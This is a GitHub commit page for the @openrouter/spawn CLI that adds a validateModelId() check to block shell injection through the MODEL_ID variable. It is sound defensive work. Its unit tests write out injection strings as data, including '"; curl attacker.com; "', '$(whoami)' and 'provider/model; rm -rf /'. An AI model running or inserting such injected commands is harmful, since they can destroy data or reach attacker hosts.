Skip to content

Commit b393814

Browse files
la14-1louisgvclaude
authored
fix: validate model ID before shell interpolation (fixes #2460) (#2472)
Add validateModelId() to reject model IDs containing shell metacharacters. The validation is applied in orchestrate.ts immediately after resolving MODEL_ID from env/agent defaults, before the value reaches any agent configure function or runServer call. Invalid model IDs are dropped to undefined with a warning. Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
1 parent f60cda6 commit b393814

5 files changed

Lines changed: 79 additions & 6 deletions

File tree

packages/cli/package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@openrouter/spawn",
3-
"version": "0.16.0",
3+
"version": "0.16.1",
44
"type": "module",
55
"bin": {
66
"spawn": "cli.js"

packages/cli/src/__tests__/orchestrate.test.ts

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -367,6 +367,24 @@ describe("runOrchestration", () => {
367367
exitSpy.mockRestore();
368368
});
369369

370+
it("rejects MODEL_ID with shell metacharacters", async () => {
371+
const originalModelId = process.env.MODEL_ID;
372+
process.env.MODEL_ID = '"; curl attacker.com; "';
373+
const configure = mock(() => Promise.resolve());
374+
const cloud = createMockCloud();
375+
const agent = createMockAgent({
376+
configure,
377+
});
378+
379+
await runOrchestrationSafe(cloud, agent, "testagent");
380+
381+
// Invalid model ID should be sanitized to undefined
382+
expect(configure).toHaveBeenCalledWith("sk-or-v1-test-key", undefined, undefined);
383+
process.env.MODEL_ID = originalModelId;
384+
stderrSpy.mockRestore();
385+
exitSpy.mockRestore();
386+
});
387+
370388
// ── configure hook ──────────────────────────────────────────────────
371389

372390
it("calls configure when defined on agent", async () => {

packages/cli/src/__tests__/ui-utils.test.ts

Lines changed: 40 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
11
import { describe, expect, it } from "bun:test";
22

3-
const { validateServerName, validateRegionName, toKebabCase, sanitizeTermValue, jsonEscape } = await import(
4-
"../shared/ui.js"
5-
);
3+
const { validateServerName, validateRegionName, validateModelId, toKebabCase, sanitizeTermValue, jsonEscape } =
4+
await import("../shared/ui.js");
65

76
// ── validateServerName ──────────────────────────────────────────────
87

@@ -63,6 +62,44 @@ describe("validateRegionName", () => {
6362
});
6463
});
6564

65+
// ── validateModelId ─────────────────────────────────────────────────
66+
67+
describe("validateModelId", () => {
68+
it("accepts valid model IDs", () => {
69+
expect(validateModelId("anthropic/claude-3")).toBe(true);
70+
expect(validateModelId("openai/gpt-4o")).toBe(true);
71+
expect(validateModelId("moonshotai/kimi-k2.5")).toBe(true);
72+
expect(validateModelId("google/gemini-pro")).toBe(true);
73+
expect(validateModelId("meta-llama/llama-3.1-8b:free")).toBe(true);
74+
});
75+
76+
it("rejects empty string", () => {
77+
expect(validateModelId("")).toBe(false);
78+
});
79+
80+
it("rejects model IDs without provider prefix", () => {
81+
expect(validateModelId("claude-3")).toBe(false);
82+
});
83+
84+
it("rejects shell injection attempts", () => {
85+
expect(validateModelId('"; curl attacker.com; "')).toBe(false);
86+
expect(validateModelId("$(whoami)")).toBe(false);
87+
expect(validateModelId("`id`/model")).toBe(false);
88+
expect(validateModelId("provider/model; rm -rf /")).toBe(false);
89+
expect(validateModelId("provider/model\ninjection")).toBe(false);
90+
});
91+
92+
it("rejects model IDs with spaces", () => {
93+
expect(validateModelId("provider/model name")).toBe(false);
94+
});
95+
96+
it("rejects model IDs starting with non-alphanumeric", () => {
97+
expect(validateModelId("-provider/model")).toBe(false);
98+
expect(validateModelId("/model")).toBe(false);
99+
expect(validateModelId("provider/-model")).toBe(false);
100+
});
101+
});
102+
66103
// ── toKebabCase ─────────────────────────────────────────────────────
67104

68105
describe("toKebabCase", () => {

packages/cli/src/shared/orchestrate.ts

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,16 @@ import { getOrPromptApiKey } from "./oauth";
1414
import { startSshTunnel } from "./ssh";
1515
import { ensureSshKeys, getSshKeyOpts } from "./ssh-keys";
1616
import { getErrorMessage } from "./type-guards";
17-
import { logDebug, logInfo, logStep, logWarn, openBrowser, prepareStdinForHandoff, withRetry } from "./ui";
17+
import {
18+
logDebug,
19+
logInfo,
20+
logStep,
21+
logWarn,
22+
openBrowser,
23+
prepareStdinForHandoff,
24+
validateModelId,
25+
withRetry,
26+
} from "./ui";
1827

1928
export interface CloudOrchestrator {
2029
cloudName: string;
@@ -104,7 +113,11 @@ export async function runOrchestration(
104113
}
105114

106115
// 4. Model ID (use agent default — no interactive prompt)
107-
const modelId = agent.modelDefault || process.env.MODEL_ID;
116+
const rawModelId = agent.modelDefault || process.env.MODEL_ID;
117+
const modelId = rawModelId && validateModelId(rawModelId) ? rawModelId : undefined;
118+
if (rawModelId && !modelId) {
119+
logWarn(`Ignoring invalid MODEL_ID: ${rawModelId}`);
120+
}
108121

109122
// 5. Size/bundle selection
110123
await cloud.promptSize();

packages/cli/src/shared/ui.ts

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -271,6 +271,11 @@ export function validateRegionName(region: string): boolean {
271271
return /^[a-zA-Z0-9_-]{1,63}$/.test(region);
272272
}
273273

274+
/** Validate model ID: provider/model format, alphanumeric + slash + dash + dot + underscore + colon. */
275+
export function validateModelId(id: string): boolean {
276+
return /^[a-zA-Z0-9][a-zA-Z0-9_.:-]*\/[a-zA-Z0-9][a-zA-Z0-9_.:-]*$/.test(id);
277+
}
278+
274279
/** Convert display name to kebab-case. */
275280
export function toKebabCase(name: string): string {
276281
return name

0 commit comments

Comments
 (0)